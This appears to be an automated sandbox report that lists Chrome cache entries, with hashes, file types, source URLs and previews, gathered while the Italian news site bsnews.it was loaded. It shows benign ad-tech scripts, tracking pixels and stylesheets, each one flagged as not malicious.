URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C160&ssl=1
Preview:	RIFF.)..WEBPVP8 .)......D...>m0.F.#!.......Fo.......v~\....3........V...wzx........o..P.._....`...............\|K._.........d...../j......v....G.S.o.=.......h.y....7.......j...O...O......o.7.?..h..~....S.3....A......g..%.....e.(u..}O6..".Y6.mn...m..d....D.....Q.?..._o\{.....V..9....%M......6.7.o..O....5..;.E4.\S....OOn.{..z..v.'pc3Y2.A...g;a........u:.^09g(.[.g...\<.M...ts.\.d.{%]..FW}.#.....p.u.eB......w;.\|/..T..R.l9.msf..<...n.XO.]....my.z)...C..%V.%......AV....N3S....q.....y...R......?..pz.....%{4..>....o..Bu..2'T..l.c}s.L......o_:Z....l....n...L..\..;.H.. <.A...\...eEv.H.9,...m..e.~z.[.V...fL...j...la' E#..Z..M...q...X.Y.......u..-k...0.[o.'N<....Q..r.1..-.../.$..4..0..........._.'.-...S...m@..8. .i.J~75O...e..\|..@...\.Z.,m.#@9.r..".].._:#[....D...mJ.v..y.n..V=.._R.c.>....@.Z.(...q.y...fc8....`.c.2..J.F.......H.n....U...>.....f...#Ka....;Y.E.8..yWT3....Q....x.e..a.?.`.....;......k.H9.Ql4..Pi...I....[...7rk.TF.z..p...

Chrome Cache Entry: 811

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (562), with no line terminators
Category:	downloaded
Size (bytes):	562
Entropy (8bit):	5.324379899261581
Encrypted:	false
SSDEEP:	12:fXff4FKxiR9+Yv66e5+/OlwnKFp9HnkJI4z9pAWvdF0OD6xQ:fXff4jR0YS5fwGp9HkeSpxhDH
MD5:	F1395DD580B4F1707BA147CF099C5E8B
SHA1:	53E25964697064DD3D14709465E2CB1F4E3281DB
SHA-256:	91DF958798A540C41C95F1709E32C4079DA1FF8EC8CCC8261FEACE354365C063
SHA-512:	095709741D49A08642661DC8A5AF017898A1BF75A7C2A69884437348AF37B40092E85C7AE7A43CE93BBC33CD42F8D5C689420BCD6AF864F13C2C7FBBE38DE05F
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/47.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[47],{47:(t,e,r)=>{"use strict";r.r(e);var o=r(845);const{LoggerSour:s}=o.t;new s("DMP > TNC"),function(t,e,r,o,s){t[r]=t[r]\|\|{},t[r].providerId="6b634075-ddb2-44fb-ba9e-6183cd8a9dec",t[r].options=t[r].options\|\|{autostart:!0};var n="ready";t[r][n]=t[r][n]\|\|function(e){return t[r][n].q=t[r][n].q\|\|[],t[r][n].q.push(e),t[r]};var a=e.createElement("script");a.setAttribute("global",r),a.async=!0,a.src="https://js.tncid.app/route.js",e.querySelector("head,body").appendChild(a)}(window,document,"__tnc")}}]);

Chrome Cache Entry: 812

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 813

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "tmpmt9r_1tz", last modified: Thu May 27 18:30:51 2021, max compression, original size modulo 2^32 24615
Category:	downloaded
Size (bytes):	7927
Entropy (8bit):	7.971132676007268
Encrypted:	false
SSDEEP:	192:9Kc5LTj0P5wffE5IkNpgSuBytYo5x17NS4UkRDS8hO86A8PE:9H+RwfpkNPV/T17NcwDSVFA8PE
MD5:	DF5542B88BC0E368C6999754A5B9E2BA
SHA1:	54F17142FAEB7C882FEE3BF67D537733E75E43AE
SHA-256:	B82DA9703A35C5436F9E47711F5B95D5357F02D590CB39DBA99355B9B073561F
SHA-512:	3BF0A63824E0D30C5A71CAE83DCEEE6E2A587FC5B9B7E81943E42DC448F9654998DA35A0BDC309B40D7D3BCFC3C95AC3D3322D1394B21542578FB2BA69EADC28
Malicious:	false
Reputation:	low
URL:	https://oa.openxcdn.net/esp.js
Preview:	....[.`..tmpmt9r_1tz..<.{.6..E.ueb..V.GJ....d7....mOQ}..IlhR%!;....73.H...t..].........7Q2Mo.....l.Ld.&.dw.a...]10.;....h.Q2f...,..'>,.L.....(.....~...K..(....N.0.....)..3.7q.=....k.]..g.$..wja....2/.K.^.\."&..Y...,].L.R.;...D.^..1.B.I.....(...{.t.y...sv{u.....dz&.(....^o..m9P7^..y.NW.p..uv.`et3.{.......{..se.......f....~.o...r.3'....^5R...4.4r.L.R........KlA=..<.W.t..W..0.G.PNt..,.,.\.N.X0Xi...r.0......../.2f.,A.%-L..lQA.4...dd.Kp't..\.picItCM.e...'.-...&1.R....2p...u..........F`.....i.+..H..../.%...Ec7d\|....F1..d.$.._...!."..i"..]1....r.e"O.k\|..HpqXQ.e.\...a..<..l.....0.&n:z..-{..T.0.^.\...{..r...i.9_q'....`.e..F.....j..4..V0V....a..\|b..x..U}.p....UJ.:.. ..E.&k.,h....1P.Uje.~@..4H.H...4[......8<.Wa~.L^..kO..B#KIQ....[...m.V.z...`.&.h..o.H.k..$.....r.Vqg.4.l. +j..._...^OTd...0. %.C./.Fu5.V.......M....0.w.%..{../.....+2=.a.K...bk... &+.Z0...._.(.g..B.{..e.Dy'....m'[%.v!e.L.e,$X+.A`...}.AF..C..#E-s%."..)h... .....z....1p..i.q....9......%..W

Chrome Cache Entry: 814

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5638)
Category:	downloaded
Size (bytes):	47730
Entropy (8bit):	5.179181272935284
Encrypted:	false
SSDEEP:	768:YNiPt+KGABvBfIT+o8vxx0Jh3AKyw1WAFVQ:AicjqQT+o8vxx0Jh3AKywwAE
MD5:	064D93975985301AB16700C510CD9EBB
SHA1:	DB022F9D70424676596F43DD0A9BEEC51EB316DE
SHA-256:	98CA3242C77C553FAC405B5FF7203FA382499F4CC2D1D867CC3567C622E71602
SHA-512:	AC40453E214966F45A2CF05572629D4CA62B5138CC31AC22F0691F4D9A61D0EA8146805484241847EE86695180C51A447D5DC1F5A31C221819CF2305F7501B7E
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/video-js.min.css?ver=1.1.17
Preview:	.video-js .vjs-big-play-button .vjs-icon-placeholder:before, .vjs-button > .vjs-icon-placeholder:before, .video-js .vjs-modal-dialog, .vjs-modal-dialog .vjs-modal-dialog-content {. position: absolute;. top: 0;. left: 0;. width: 100%;. height: 100%; }. . .video-js .vjs-big-play-button .vjs-icon-placeholder:before, .vjs-button > .vjs-icon-placeholder:before {. text-align: center; }. . @font-face {. font-family: VideoJS;. src: url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAABBIAAsAAAAAGoQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAADsAAABUIIslek9TLzIAAAFEAAAAPgAAAFZRiV3RY21hcAAAAYQAAADQAAADIjn098ZnbHlmAAACVAAACv4AABEIAwnSw2hlYWQAAA1UAAAAKwAAADYV1OgpaGhlYQAADYAAAAAbAAAAJA4DByFobXR4AAANnAAAAA8AAACE4AAAAGxvY2EAAA2sAAAARAAAAEQ9NEHGbWF4cAAADfAAAAAfAAAAIAEyAIFuYW1lAAAOEAAAASUAAAIK1cf1oHBvc3QAAA84AAABDwAAAZ5AAl/0eJxjYGRgYOBiMGCwY2BycfMJYeDLSSzJY5BiYGGAAJA8MpsxJzM9kYEDxgPKsYBpDiBmg4gCACY7BUgAeJxjYGQ7xTiBgZWBgaWQ5RkDA8MvCM0cwxDOeI6BgYmBlZkBKwhIc01hcPjI

Chrome Cache Entry: 815

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEAhGB7mgB6UMzgq-biVLnZA&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 816

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65358)
Category:	downloaded
Size (bytes):	464826
Entropy (8bit):	4.923846415942364
Encrypted:	false
SSDEEP:	3072:QRXTvmKEB1FX8iJc0E/aCeLYtz+RJwKZ1kkUSbxhJwdO8BEo2HwSMxnp5ANdl0gv:QRXM8/0h
MD5:	C41BEC6C22CDA6DCDA4DADE3B2A18AC0
SHA1:	9FAE65748A7B1FECE106848353F5768386903318
SHA-256:	505685C2AE74D1A8669A151310EA9B81D51789FA0E98E08E08CD7A6E4C00D984
SHA-512:	05DDEE6DF09681544E5134BBD6966AACF3382AF2B10A0DD99112C0C56697DDCC166AD5B27A18F678084D8114BC3C80BD752C5178B86BE189A9B8A1997FB08D3A
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.5
Preview:	/!. WPBakery Page Builder v6.0.0 (https://wpbakery.com). * Copyright 2011-2024 Michael M, WPBakery. * License: Commercial. More details: http://go.wpbakery.com/licensing. */...vc_row:after,.vc_row:before{content:" ";display:table}.vc_row:after{clear:both}@media (max-width:767px){.vc_hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.vc_hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.vc_hidden-md{display:none!important}}@media (min-width:1200px){.vc_hidden-lg{display:none!important}}.vc_non_responsive .vc_row .vc_col-sm-1{position:relative;float:left;width:8.33333333%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-2{position:relative;float:left;width:16.66666667%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-3{position:relative;float:left;width:25%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col

Chrome Cache Entry: 817

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1166
Entropy (8bit):	5.246540418308923
Encrypted:	false
SSDEEP:	24:2zvYusFDqSw1+Y4IAAgm+EYy1coVNPahN1eGdYJVPRhB0s0IhRiGH:ivYvFDqfpiXmblcmPahvhWPRhBp0yRJH
MD5:	C04EB817E7B009582317F09F1B653502
SHA1:	94E0E6B47A84D40ECCE5295F9C10C084B1A6B655
SHA-256:	03EA3ADB1C76D6EE7CEC789319A313F5CCDD0511F700202EDDF88A22E37ACE74
SHA-512:	879659FE83D4749BFB13826E82F3D124303DCECABD94E133D9D1B434DADED5C1CDFC12C18223C6637D4936833033405B5F63CFF716A52B67DD4AEC6A81BFE491
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/02_weborama_sync.js
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {....var promise;....try {.....var tpid = 'a0f846a5-be22-4884-b857-fa3a0cda1601'......, eid = this.eid \|\| ''......, tncid = this.tncid \|\| ''......, tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid={WEBO_CID}&3pid=${tpid}`......, vendorendpoint = `https://redirect.frontend.weborama.fr/redirect/standard?url=${encodeURIComponent(tncendpoint)}`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body');.....if (!tncid && !eid) {......promise = Promise.reject('Missing tncid and eid');.....} else {......promise = this.loadIMG(vendorendpoint, option

Chrome Cache Entry: 818

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46500)
Category:	downloaded
Size (bytes):	113931
Entropy (8bit):	5.481268577148131
Encrypted:	false
SSDEEP:	3072:Oi5Cnapkvil7gWbZ4mbPQZgJuD5SdIpylktl:hCnNoaZgJ6SM
MD5:	786881F331EF2CB088DBE9D7BD681A5D
SHA1:	2D8E9F32D4D3F35614BCA4A5A08E105104ACB31F
SHA-256:	129D28CE8A6B315EF325709B9885335A6622917CF30E65E3B9E498EBD5B0205E
SHA-512:	4A2F54ADB45D7C6C090C23296B37A0D1C0CF5AF332535763F1EC5DD45DCB5EB582DEBB7B93E98E8F9B85788D38A79D69EBA8888589125C41F4252B2390CC8092
Malicious:	false
Reputation:	low
URL:	https://cdn.bidbrain.app/ng-assets/creative/assets/index-be69d0ff.js
Preview:	var Ko=Object.defineProperty;var es=(e,t,n)=>t in e?Ko(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var q=(e,t,n)=>(es(e,typeof t!="symbol"?t+"":t,n),n);function Ad(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const s of document.querySelectorAll('link[rel="modulepreload"]'))r(s);new MutationObserver(s=>{for(const o of s)if(o.type==="childList")for(const i of o.addedNodes)i.tagName==="LINK"&&i.rel==="modulepreload"&&r(i)}).observe(document,{childList:!0,subtree:!0});function n(s){const o={};return s.integrity&&(o.integrity=s.integrity),s.referrerPolicy&&(o.referrerPolicy=s.referrerPolicy),s.crossOrigin==="use-credentials"?o.credentials="include":s.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(s){if(s.ep)return;s.ep=!0;const o=n(s);fetch(s.href,o)}})();var Vt,L,zr,We,Fn,Wr,ln,At={},qr=[

Chrome Cache Entry: 819

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65504), with no line terminators
Category:	dropped
Size (bytes):	151919
Entropy (8bit):	5.244142666228603
Encrypted:	false
SSDEEP:	1536:d773qc51YHqsnA7eGWvVzdRu/MccifokUtXhc6eIDvwwE7:Fq2yqsA7nWjpio16cwr
MD5:	530F4687C9DB064D9C81999237C5DA8E
SHA1:	67BEE28347AAB362202AB8CE1217B13FBECCED29
SHA-256:	6BF9BB26263EA7F5B18AB30B3D6C86F7DF14C3A0D97CB5A67EEA10B485F4D338
SHA-512:	EAAD835630F635998EBD7FC55515C707565F6B03DFA5AED3BCC43E916DE1F043A481FC414047DDAA7A8193341FF3735C67E73247C98A0574979698D5F3E6F1FB
Malicious:	false
Reputation:	low
Preview:	this.refresh=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=510)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return I})),n.d(

Chrome Cache Entry: 820

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=pf8b3zh4kyw&google_push=AXcoOmTEliQKXJovDprguZJeO_7WE1Th3EtNqAh_ZH2nZ3_K5r-Fxq4cd53_ROhG1ef7fvWb_1AFAIYqpRp_Y__rbwzaEeMI1Ql7Gg&google_hm=UjMzNjQ1XzExMzE0MjE2NV80MkMzMjM3
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 821

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17044)
Category:	downloaded
Size (bytes):	17045
Entropy (8bit):	5.355264202508384
Encrypted:	false
SSDEEP:	384:zkDoVsZuslHutZXrjO/Vg/6IWDxJR3KIjbIC:zkUGZuslHSqVg/ID5fIC
MD5:	157B63B1E80D2D5BB6B26ABAB55F56FC
SHA1:	3070D0E4B249B8B09C5ADA288948B901305B636E
SHA-256:	9BC10D5B4562DCA6F3938113D374024A8029F001A28334E50D22BECBC1A29767
SHA-512:	2AE201BD5E18485EFBE00939FC28B8FB36D0AEBF54C8F251F0D3B83019ADA0D3464319AD1B3D752C98F788868228E9535F07FF10D800EEC4515ED2BC3DE58FEB
Malicious:	false
Reputation:	low
URL:	https://cdn.pbstck.com/user-sessions-aadee70.js
Preview:	!function(e){"use strict";const t=/pbstck:debug/.test(window.location.href),n=!!window.localStorage.getItem("pbstck"),o=(e,o,...r)=>{(t\|\|n)&&console[e](`[pbstckUserSessions-aadee70] [${performance.now().toFixed(2)}] ${o}`,...r.length?r:"")},r=(e,...t)=>{o("warn",e,...t)},i=(e,...t)=>{o("log",e,...t)},a=(e,...t)=>{o("error",e,...t)},s=["pbstck:","pbstck_context:"],c=()=>{const e=document.getElementsByTagName("meta"),t=Array.from(e).filter((e=>d(s,e.name))),n=new Map;t.forEach((e=>{const t=u(e.name);n.has(t)&&r(`Custom dim ${t} is present many times`),n.size<20?n.set(t,e.content):r(`Skipping custom dim ${t} with ${e.content}: limit of 20 keys exceeded`)}));const o=Object.assign({},...Array.from(n.entries()).map((([e,t])=>({[e]:t}))));return n.size>0&&i("Custom dim found :",o),o},u=e=>e.replace(/^\w+:/,""),d=(e,t)=>e.some((e=>t.startsWith(e)));var m,p;!function(e){e.HISTORY_MUTATION="_pbstck_historyMutation",e.NEW_PAGE="_pbstck_pageView",e.SESSION_TRACKING_AUTHORIZED="_pbstck_sessionTrack

Chrome Cache Entry: 822

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNTQ4OTgzNi0yNjNiLTQ5MDMtOTA5NS1mYTdlNDg1MTEyODg=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 823

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=7351334279469987990&env=mWeb&zpartnerid=563&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 824

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (577), with no line terminators
Category:	downloaded
Size (bytes):	577
Entropy (8bit):	5.489599971537208
Encrypted:	false
SSDEEP:	12:C35JHlhpfQBHc413zOSCyBHcX31Ahz5RmguhBHc4135MDxHcekDp:CpJHvJQBN1jOSCyB+YPm/BN1C1gp
MD5:	83F57FB096774327C2308E7941731C59
SHA1:	BCED8247C7C6C7DA5E84529EB572EC33FA5E9B11
SHA-256:	844C73DBAA5DBA5B16FAFCEA716DEB1C169157E076E9CF5119E500E73D3A9A25
SHA-512:	A2F5E6D4B9E5942F3BC821702F83D5657F21B93B65A08D5B48C1F9D4EB75D33A4B38CFC58BFC62078DA16BDFAD50E61A1098180173B207C4E635F0E079A720BE
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=26454279&p=158810&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:01F5328A-C4D9-44AD-8468-60A885247C68.');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 825

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.165875897298295
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdNyrRi9PaQxJbBOq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdNyr49ieJBO5
MD5:	B380E29EBF63E70056E45585E17C60C2
SHA1:	D81A220F9651F9A893A0F38CD10183129C179C9B
SHA-256:	8CD4E8816F4DE81EB37300199619090880AE3FD53BCB9A5591A607F45C68D964
SHA-512:	E65774E45F86FEC44749A114F6D0524F1B18C91A570A4A66FD7CE9E6445006D82B3FEC6EEE2C6B2859D496BB6A90866355CBC664F50B44E8B7EC448C2F1E7068
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 826

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (710)
Category:	downloaded
Size (bytes):	909
Entropy (8bit):	5.428271504675593
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIn5BbrT4682RS1cXW+tEIKj:2e2C6lI8ob71cT2
MD5:	CF401C8BDFCA5F6D30596CF16C818676
SHA1:	35A845F73A2921DD4098FD3822540039548DCB3A
SHA-256:	83819B86FE320A8FEA750DEC26395043BC5FC65E8463CC8026D8BCEC05117152
SHA-512:	E57F790044E85A6B2EF74C87AAD4EC902B444DA93D447C2560CFC8D812BF9FBEF2A7C01758C6E890D65569EC674BE045C040B56E25E6C08F5B9780073A184B52
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://ce.lijit.com/merge?pid=76&3pid=412063c9-af57-0892-2e1b-e0b2f8a819b5&gdpr=0&gdpr_consent="><img src="https://pixel-sync.sitescout.com/dmp/pixelSync?nid=4&gdpr=0"><img src="https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=2bb0cef5-1ee4-0f18-2346-cec2b395e7eb"><img src="https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=030a3e80-9d89-08d6-3a80-971e17bad28e"><img src="https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D"><img src="https://ib.adnxs.com/getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID"><img src="https://ad.turn.com/r/cs?pid=9&gdpr=0">..</body>.</html>.

Chrome Cache Entry: 827

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7507), with no line terminators
Category:	downloaded
Size (bytes):	7507
Entropy (8bit):	5.241285243810211
Encrypted:	false
SSDEEP:	192:hShOVqDTylSCnnZL5jCjle0AcZ+A6Qwisiy2yYpbHQ1yVXvXV4aocehsN7xBhPeH:qTylJtMoW7wiVy2yz1yPoVsN7xBhPeZR
MD5:	A34A1A087B02E319BC07F6CA1F8EE650
SHA1:	3095356EC453CCA0E444F3AE0ABCA315D9C05B85
SHA-256:	B3E69582BC6B774375893A70D06D63987775CBB23B59E2D4669B0F52745A9F12
SHA-512:	2ADD1DBF3F6B05C8FEA7492CE6B63E08F4132F58C352A07C19C9A928C3B90C374C8DC8D41416EA3970F1143AF20E947C9F0B8E46DFCAC632F37E96AF96B40FBE
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/_inc/build/likes/queuehandler.min.js
